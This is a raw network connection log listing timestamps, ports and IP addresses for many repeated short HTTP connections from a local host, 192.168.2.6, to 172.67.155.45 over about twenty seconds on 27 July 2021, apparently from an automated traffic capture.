Jul 27, 2021 22:07:50.405394077 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.405911922 CEST	49790	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.434797049 CEST	80	49790	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.744663000 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.775628090 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.775780916 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.778932095 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.808721066 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:50.808919907 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:50.837088108 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.085863113 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.085882902 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.086119890 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.086241961 CEST	49791	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.114198923 CEST	80	49791	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.367925882 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.395440102 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.395632982 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.399234056 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.426558018 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.426975965 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.452563047 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.758012056 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.758033991 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.758188963 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.758296013 CEST	49792	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:51.785084963 CEST	80	49792	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:51.983241081 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.011008024 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.011146069 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.014486074 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.042150974 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.042243004 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.073333979 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.371072054 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.371093035 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.376307964 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.376338959 CEST	49793	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.406789064 CEST	80	49793	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.596999884 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.623281956 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.623493910 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.626590014 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.655286074 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.655462980 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.681524038 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.963675976 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.963849068 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.963998079 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:52.964185953 CEST	49794	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:52.992526054 CEST	80	49794	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.166369915 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.195327997 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.195638895 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.198729992 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.226510048 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.226614952 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.254889965 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.592611074 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.592763901 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.593111992 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.593193054 CEST	49795	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.621092081 CEST	80	49795	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.884926081 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.915014982 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.915421009 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.919658899 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.947252035 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:53.947371006 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:53.973623991 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.271102905 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.271169901 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.271313906 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.271347046 CEST	49796	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.298774004 CEST	80	49796	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.521816969 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.547549009 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.547815084 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.551395893 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.577069998 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.577312946 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.602971077 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.820557117 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.821935892 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:54.822829962 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.822860003 CEST	49798	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:54.885343075 CEST	80	49798	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.051883936 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.082547903 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.082803011 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.090353012 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.118880987 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.119060993 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.148003101 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.391274929 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.391299963 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.391469002 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.391515017 CEST	49799	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.419011116 CEST	80	49799	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.604264021 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.632467985 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.632734060 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.636683941 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.664335012 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.664475918 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.691895008 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.971689939 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.971713066 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:55.971986055 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.972059965 CEST	49801	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:55.999526024 CEST	80	49801	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.318309069 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.345138073 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.345431089 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.349514008 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.375044107 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.375277996 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.401063919 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.653682947 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.653716087 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.653856993 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.653889894 CEST	49802	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.680654049 CEST	80	49802	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.964540005 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.994045973 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:56.994158030 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:56.996817112 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.026859999 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.026942015 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.054915905 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.267957926 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.268024921 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.268167019 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.462039948 CEST	49803	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.490380049 CEST	80	49803	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.654978991 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.684046984 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.684395075 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.687828064 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.716628075 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:57.716720104 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:57.746262074 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.002640009 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.002672911 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.016818047 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:58.016853094 CEST	49805	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:58.047812939 CEST	80	49805	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.252084970 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:58.281780958 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.281991005 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:58.971755981 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:58.998575926 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:58.998703957 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:59.025851011 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:59.273953915 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:59.273998976 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:07:59.274086952 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:59.274143934 CEST	49806	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:07:59.300230026 CEST	80	49806	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.211329937 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.239053965 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.239208937 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.242825985 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.270486116 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.270633936 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.298237085 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.636075020 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.636097908 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.636327982 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.636476040 CEST	49807	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.666178942 CEST	80	49807	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.854589939 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.882525921 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.882644892 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.885442972 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.913182974 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:00.913419962 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:00.941139936 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.194361925 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.194561005 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.194614887 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.194742918 CEST	49808	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.222244978 CEST	80	49808	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.538656950 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.564784050 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.565846920 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.570871115 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.597956896 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.599230051 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.631719112 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.888398886 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.888428926 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:01.888530016 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.891621113 CEST	49809	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:01.918930054 CEST	80	49809	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.181500912 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.209248066 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.209374905 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.213196993 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.240977049 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.241075039 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.268842936 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.595441103 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.595633030 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.597773075 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.597878933 CEST	49810	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.626279116 CEST	80	49810	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.815810919 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.843146086 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.843277931 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.846436024 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.872000933 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:02.872123957 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:02.897747040 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.169660091 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.170002937 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.170205116 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.170269012 CEST	49811	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.195883036 CEST	80	49811	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.397257090 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.424983025 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.425282001 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.429326057 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.457376957 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.457616091 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.488696098 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.714422941 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.714726925 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:03.714855909 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.714924097 CEST	49812	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:03.743482113 CEST	80	49812	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.148184061 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.174134970 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.174472094 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.177613974 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.203762054 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.204010963 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.229763031 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.455826998 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.455851078 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.455946922 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.456111908 CEST	49813	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.483234882 CEST	80	49813	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.649202108 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.676948071 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.677234888 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.682111979 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.709829092 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.710031986 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.739690065 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.962935925 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.962969065 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:04.963090897 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.963742018 CEST	49814	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:04.993204117 CEST	80	49814	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.233804941 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.261059999 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.261282921 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.267945051 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.294929981 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.295012951 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.321024895 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.570265055 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.570290089 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.570374012 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.570550919 CEST	49815	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.597610950 CEST	80	49815	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.862586021 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.891074896 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.891172886 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.894109964 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.922787905 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:05.922910929 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:05.949727058 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.174494028 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.174524069 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.174604893 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.174659967 CEST	49817	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.200294971 CEST	80	49817	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.379714966 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.407660007 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.408466101 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.411175966 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.442255020 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.442347050 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.471860886 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.708158016 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.708657980 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.709204912 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.709264040 CEST	49818	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.736114025 CEST	80	49818	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.942536116 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.968508959 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.968604088 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.971579075 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:06.997041941 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:06.999284983 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.025337934 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.280999899 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.281117916 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.281286001 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.281424999 CEST	49819	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.307073116 CEST	80	49819	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.530790091 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.560679913 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.560866117 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.564483881 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.592299938 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.592519045 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.621443987 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.882185936 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.882344961 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:07.882540941 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.882570982 CEST	49820	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:07.912293911 CEST	80	49820	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.147723913 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.175386906 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.175488949 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.179234028 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.207180977 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.207282066 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.232855082 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.485280991 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.485332012 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.485666990 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.485776901 CEST	49821	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.511878014 CEST	80	49821	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.744493008 CEST	49822	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.772131920 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.772238016 CEST	49822	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.775049925 CEST	49822	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:08.802855968 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:08.803093910 CEST	49822	80	192.168.2.6	172.67.155.45
